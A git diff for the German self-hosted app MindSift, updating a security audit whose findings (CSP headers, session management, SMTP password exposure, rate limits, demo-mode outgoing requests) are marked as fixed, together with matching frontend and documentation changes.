[headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen. - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go). - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`. @@ -43,56 +45,68 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** - **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`). - **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`). - **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse. +- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`. ### FLAW-31: Langlebige Sitzung im `localStorage` - **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts). - **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“. - **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz. +- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`. ### FLAW-32: Nur 40 Bit Zufall in IDs - **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab. - **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig. - **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes. +- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter. -### FLAW-33: Demo-Admin darf Server-Einstellungen ändern +### FLAW-33: Öffentliche Demo als Absender missbrauchbar - **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)). - **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig. -- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt. +- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen. +- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank. +- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`. ### FLAW-34: SMTP-Passwort im Klartext - **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`. - **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup. - **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank. +- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`. ### FLAW-35: `?token=` beim Webhook-Ingest - **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go). - **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login. - **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin. +- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`. ### FLAW-36: Kein allgemeines Größenlimit für Anfragen - **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset). - **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden. - **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync. +- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`. ### FLAW-37: Server-Backups überleben das gelöschte Konto - **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users//` ([backups.go](../internal/api/backups.go)). - **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf. - **Maßnahme:** Beim Löschen eines Kontos `backups/users//` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen. +- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users//` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`. ### FLAW-38: Große Downloads brechen nach 30 s ab - **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`). - **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht). - **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE. +- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab. ### FLAW-39: Kein Rate-Limit außerhalb des Logins - **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung. - **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst. - **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern. +- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`. ### FLAW-40: Einladungscode doppelt einlösbar - **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`. - **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch. - **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht. +- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`. ### FLAW-41: Sehr große Frontend-Dateien - **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700). @@ -128,7 +142,6 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel** ### Konto & Sicherheit - **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**. -- **Sitzungsübersicht** mit Einzel-Abmelden (siehe FLAW-31). - **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups. - **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert. diff --git a/Doku/sharing-and-permissions.md b/Doku/sharing-and-permissions.md index bbdf6ad..a84d89d 100644 --- a/Doku/sharing-and-permissions.md +++ b/Doku/sharing-and-permissions.md @@ -68,6 +68,6 @@ Bei der Einrichtung im Modus `organizations` wird eine Organisation mit dem Name ## Sitzungen und Zugriff -- Tokens werden bei Passwortänderung, Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ ungültig (`token_version`); ausgeloggte Tokens landen in `revoked_tokens`. +- Jede Anmeldung ist eine Sitzung (`sessions`), die einzeln beendet werden kann (Logout, Profil → Aktive Sitzungen). Rollenwechsel, Deaktivierung und „Alle Sitzungen beenden“ beenden alle Sitzungen (`token_version`); eine Passwortänderung alle außer der aktuellen. - Registrierung nur per Einladungscode oder, wenn vom Admin freigeschaltet, offen. Das erste Konto wird immer Administrator. - Bekannte Lücken in der Zugriffskontrolle:. diff --git a/README.md b/README.md index 7d913b2..b9007b8 100644 --- a/README.md +++ b/README.md @@ -168,7 +168,8 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d * **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md). * **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`. * **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen. -* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf. +* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht. +* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md). --- diff --git a/frontend/index.html b/frontend/index.html index ce3aa67..3198e68 100644 --- a/frontend/index.html +++ b/frontend/index.html @@ -40,14 +40,7 @@ MindSift - + @@ -58,15 +51,5 @@ - diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 797b752..e083d0c 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -1,12 +1,12 @@ { "name": "mindsift-frontend", - "version": "0.5.2", + "version": "0.6.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "mindsift-frontend", - "version": "0.5.2", + "version": "0.6.0", "license": "Unlicense", "dependencies": { "@types/prismjs": "^1.26.6", diff --git a/frontend/package.json b/frontend/package.json index a764fec..f61af61 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -1,7 +1,7 @@ { "name": "mindsift-frontend", "private": true, - "version": "0.5.2", + "version": "0.6.0", "license": "Unlicense", "type": "module", "scripts": { diff --git a/frontend/public/pwa-install.js b/frontend/public/pwa-install.js new file mode 100644 index 0000000..6d91042 --- /dev/null +++ b/frontend/public/pwa-install.js @@ -0,0 +1,8 @@ +// Runs before the app: browsers fire beforeinstallprompt early, the app picks it up later +// ("App installieren"). A file instead of an inline script so the CSP can stay at script-src 'self'. +window.__deferredPwaPrompt = null; +window.addEventListener('beforeinstallprompt', function (e) { + e.preventDefault(); + window.__deferredPwaPrompt = e; + window.dispatchEvent(new CustomEvent('mindsift:pwa-ready')); +}); diff --git a/frontend/src/components/LegalLinks.tsx b/frontend/src/components/LegalLinks.tsx index f464fac..a30a50d 100644 --- a/frontend/src/components/LegalLinks.tsx +++ b/frontend/src/components/LegalLinks.tsx @@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types'; import { api } from '../lib/api'; import { MarkdownViewer } from '../lib/markdown'; import { ReadingModal } from './ReadingModal'; +import { safeHref } from '../lib/safeUrl'; type LegalType = 'imprint' | 'privacy'; const TITLES: Record = { imprint: 'Impressum', privacy: 'Datenschutz' }; @@ -41,8 +42,8 @@ export const LegalLinks: React.FC = ({ legal, className = '', c return (
{entries.map((e) => - e.url ? ( - + e.url && safeHref(e.url) ? ( + {TITLES[e.type]} ) : ( diff --git a/frontend/src/features/capture/InstantCaptureBar.tsx b/frontend/src/features/capture/InstantCaptureBar.tsx index cffc170..114e074 100644 --- a/frontend/src/features/capture/InstantCaptureBar.tsx +++ b/frontend/src/features/capture/InstantCaptureBar.tsx @@ -1,4 +1,4 @@ -import React, { useEffect, useRef, useState } from 'react'; +import React, { useEffect, useRef, useState, useMemo } from 'react'; import { Mic, MicOff, @@ -38,6 +38,8 @@ export const InstantCaptureBar: React.FC = ({ hideTargetPicker = false, fixedTarget, }) => { + // Read-only shared lists cannot take new items; stable reference for the effect below + const writableLists = useMemo(() => lists.filter((l) => l.isOwner || l.role !== 'viewer'), [lists]); const [content, setContent] = useState(''); const [priority, setPriority] = useState('normal'); const [dueDate, setDueDate] = useState(''); @@ -77,10 +79,10 @@ export const InstantCaptureBar: React.FC = ({ }, [autoFocusTrigger]); useEffect(() => { - if (!targetListId && lists.length > 0) { - setTargetListId(lists[0].id); + if (!targetListId && writableLists.length > 0) { + setTargetListId(writableLists[0].id); } - }, [lists, targetListId]); + }, [writableLists, targetListId]); // Close dropdown on outside click useEffect(() => { @@ -180,7 +182,7 @@ export const InstantCaptureBar: React.FC = ({ const effectiveTarget = fixedTarget || overrideTarget || target; const effectiveListId = - overrideListId || targetListId || (lists.length > 0 ? lists[0].id : ''); + overrideListId || targetListId || (writableLists.length > 0 ? writableLists[0].id : ''); const capturedPriority = priority; const capturedDueDate = dueDate; const capturedSource = hasVoiceInputRef.current || isListening ? 'voice' : 'manual'; @@ -236,7 +238,7 @@ export const InstantCaptureBar: React.FC = ({ await executeCapture(); }; - const selectedList = lists.find((l) => l.id === targetListId) || lists[0]; + const selectedList = writableLists.find((l) => l.id === targetListId) || writableLists[0]; const getTargetLabel = () => { if (target === 'task') return 'Direkt-Aufgabe'; @@ -449,8 +451,8 @@ export const InstantCaptureBar: React.FC = ({ type="button" onClick={() => { setTarget('list_item'); - if (!targetListId && lists.length > 0) { - setTargetListId(lists[0].id); + if (!targetListId && writableLists.length > 0) { + setTargetListId(writableLists[0].id); } }} className={`min-h-[36px] px-2.5 border rounded-btn flex items-center gap-1.5 text-left transition-colors cursor-pointer ${ @@ -485,13 +487,13 @@ export const InstantCaptureBar: React.FC = ({
{/* Optional Sub-Row: Shared List Picker */} - {lists.length > 0 && ( + {writableLists.length > 0 && (
Liste: - {lists.map((lst) => { + {writableLists.map((lst) => { const isSelected = target === 'list_item' && targetListId === lst.id; return ( -
+
+
+
+

+ Server-Grundeinstellungen & Benutzer-Sichtbarkeit +

+

+ Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur + innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind. +

- {/* Sharing Isolation Cards */} -
- - -
- {SHARING_MODES.map((m) => ( +
+
+ +
+ + setSettings((prev) => ({ ...prev, instanceName: e.target.value })) + } + className="flex-1 h-9 px-3 input-field" + /> - ))} -
- - {pendingMode && ( -
- - - Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“ - fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind. - - -
- )} -
- - handleSaveSystemSettings(patch)} /> - - {/* Alarm webhooks into the local network (SSRF protection) */} -
-
-

Alarm-Webhooks ins lokale Netz erlauben

-

- Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele - im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http. - Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt. -

-
- handleSaveSystemSettings({ allowPrivateWebhooks })} - /> -
- - {/* Public Registration Toggle Switch */} -
-
-

Öffentliche Selbstregistrierung erlauben

-

- Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren. - Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden. -

-
- + {/* Sharing Isolation Cards */} +
+ + +
+ {SHARING_MODES.map((m) => ( + + ))} +
+ + {pendingMode && ( +
+ + + Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“ + fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind. + + + +
+ )} +
+ + handleSaveSystemSettings(patch)} /> + + {/* Alarm webhooks into the local network (SSRF protection) */} +
+
+

Alarm-Webhooks ins lokale Netz erlauben

+

+ Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele + im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http. + Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt. +

+
handleSaveSystemSettings({ allowRegistration })} - title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'} + checked={Boolean(settings.allowPrivateWebhooks)} + onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })} />
+ + {/* Public Registration Toggle Switch */} +
+
+

Öffentliche Selbstregistrierung erlauben

+

+ Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren. + Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden. +

+
+ +
+ + handleSaveSystemSettings({ allowRegistration })} + title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'} + /> +
+
-
+
)} {/* ================================================================= */} {/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */} {/* ================================================================= */} {section === 'smtp' && isServerAdmin && ( -
-
-
-

- E-Mail / SMTP-Server für Aufgaben-Alarme -

-

- Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder - direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert). -

+
+
+
+
+

+ E-Mail / SMTP-Server für Aufgaben-Alarme +

+

+ Konfiguriere den Postausgangsserver per Docker-Compose Environment-Variablen oder + direkt hier über die Oberfläche (wird persistent in der SQLite-Datenbank gespeichert). +

+
+ + {settings.smtpConfiguredViaEnv && ( + + Docker Env erkannt + + )}
- {settings.smtpConfiguredViaEnv && ( - - Docker Env erkannt - - )} -
- -
-
- - - setSettings((prev) => ({ ...prev, smtpHost: e.target.value })) - } - placeholder="z.B. smtp.example.com oder mail.deinedomain.de" - className="w-full h-9 px-3 input-field font-mono" - /> -
- -
- - - // Digits only; an empty field stays empty while typing (saved as 587) - setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) })) - } - placeholder="587" - className="w-full h-9 px-3 input-field font-mono" - /> -
- -
- - - setSettings((prev) => ({ ...prev, smtpUser: e.target.value })) - } - placeholder="alerts@deinedomain.de" - className="w-full h-9 px-3 input-field font-mono" - /> -
- -
- - - setSettings((prev) => ({ ...prev, smtpPass: e.target.value })) - } - placeholder="••••••••••••" - className="w-full h-9 px-3 input-field font-mono" - /> -
- -
- - - setSettings((prev) => ({ ...prev, smtpFrom: e.target.value })) - } - placeholder="MindSift " - className="w-full h-9 px-3 input-field" - /> -
- -
-
-
-

Verschlüsselung (`SMTP_TLS`)

-

- Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet. -

-
- setSettings((prev) => ({ ...prev, smtpTls }))} +
+
+ + + setSettings((prev) => ({ ...prev, smtpHost: e.target.value })) + } + placeholder="z.B. smtp.example.com oder mail.deinedomain.de" + className="w-full h-9 px-3 input-field font-mono" />
-
-
-

Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)

-

- Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung - bleibt verschlüsselt, der Server wird aber nicht mehr geprüft. -

-
- setSettings((prev) => ({ ...prev, smtpSkipVerify }))} + +
+ + + // Digits only; an empty field stays empty while typing (saved as 587) + setSettings((prev) => ({ ...prev, smtpPort: e.target.value.replace(/\D/g, '').slice(0, 5) })) + } + placeholder="587" + className="w-full h-9 px-3 input-field font-mono" />
+ +
+ + + setSettings((prev) => ({ ...prev, smtpUser: e.target.value })) + } + placeholder="alerts@deinedomain.de" + className="w-full h-9 px-3 input-field font-mono" + /> +
+ +
+ + + setSettings((prev) => ({ ...prev, smtpPass: e.target.value })) + } + placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'} + autoComplete="new-password" + className="w-full h-9 px-3 input-field font-mono" + /> +
+ +
+ + + setSettings((prev) => ({ ...prev, smtpFrom: e.target.value })) + } + placeholder="MindSift " + className="w-full h-9 px-3 input-field" + /> +
+ +
+
+
+

Verschlüsselung (`SMTP_TLS`)

+

+ Port 465: TLS ab Verbindungsbeginn, sonst STARTTLS. Ist es an, wird ohne Verschlüsselung nicht gesendet. +

+
+ setSettings((prev) => ({ ...prev, smtpTls }))} + /> +
+
+
+

Zertifikatsprüfung deaktivieren (`SMTP_SKIP_VERIFY`)

+

+ Nur für interne Mailserver mit selbstsigniertem Zertifikat oder abweichendem Namen. Die Verbindung + bleibt verschlüsselt, der Server wird aber nicht mehr geprüft. +

+
+ setSettings((prev) => ({ ...prev, smtpSkipVerify }))} + /> +
+
-
-
- -
- - {/* Test SMTP Delivery */} -
-

SMTP-Verbindung testen

-

- Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten. -

-
- setTestSmtpEmail(e.target.value)} - placeholder="empfaenger@beispiel.de" - className="flex-1 h-8 px-3 input-field" - /> +
+ + {/* Test SMTP Delivery */} +
+

SMTP-Verbindung testen

+

+ Sendet sofort eine Test-E-Mail mit den oben eingetragenen Daten. +

+
+ setTestSmtpEmail(e.target.value)} + placeholder="empfaenger@beispiel.de" + className="flex-1 h-8 px-3 input-field" + /> + +
+
-
+
)}
diff --git a/frontend/src/features/settings/SessionsPanel.tsx b/frontend/src/features/settings/SessionsPanel.tsx new file mode 100644 index 0000000..f68d0a2 --- /dev/null +++ b/frontend/src/features/settings/SessionsPanel.tsx @@ -0,0 +1,110 @@ +import { useEffect, useState } from 'react'; +import { LogOut, Monitor, Smartphone } from 'lucide-react'; +import { api } from '../../lib/api'; +import { Session } from '../../lib/types'; + +// Rough device label from the user agent; good enough to tell one's own devices apart +export function describeDevice(ua: string): { label: string; mobile: boolean } { + if (!ua) return { label: 'Unbekanntes Gerät', mobile: false }; + if (ua.startsWith('MindSift-')) return { label: 'MindSift-Client', mobile: false }; + const mobile = /Android|iPhone|iPad|Mobile/i.test(ua); + const browser = /Edg\//.test(ua) + ? 'Edge' + : /Firefox\//.test(ua) + ? 'Firefox' + : /Chrome\//.test(ua) + ? 'Chrome' + : /Safari\//.test(ua) + ? 'Safari' + : 'Browser'; + const os = /Android/.test(ua) + ? 'Android' + : /iPhone|iPad/.test(ua) + ? 'iOS' + : /Windows/.test(ua) + ? 'Windows' + : /Mac OS X/.test(ua) + ? 'macOS' + : /Linux/.test(ua) + ? 'Linux' + : ''; + return { label: os ? `${browser} auf ${os}` : browser, mobile }; +} + +function formatLastUsed(iso: string): string { + const d = new Date(iso); + if (isNaN(d.getTime())) return ''; + const minutes = Math.round((Date.now() - d.getTime()) / 60000); + if (minutes < 10) return 'gerade aktiv'; + return `zuletzt ${d.toLocaleString('de-DE', { dateStyle: 'medium', timeStyle: 'short' })}`; +} + +export function SessionsPanel() { + const [sessions, setSessions] = useState(null); + const [error, setError] = useState(''); + const [ending, setEnding] = useState(''); + + const load = async () => { + try { + const list = await api.listSessions(); + setSessions([...list.filter((s) => s.current), ...list.filter((s) => !s.current)]); + setError(''); + } catch (err: any) { + setError(err.message || 'Sitzungen konnten nicht geladen werden'); + } + }; + + useEffect(() => { + void load(); + }, []); + + const endSession = async (id: string) => { + setEnding(id); + try { + await api.endSession(id); + setSessions((prev) => (prev || []).filter((s) => s.id !== id)); + } catch (err: any) { + setError(err.message || 'Sitzung konnte nicht beendet werden'); + } finally { + setEnding(''); + } + }; + + if (error) return

{error}

; + if (!sessions) return

Lade Sitzungen…

; + + return ( +
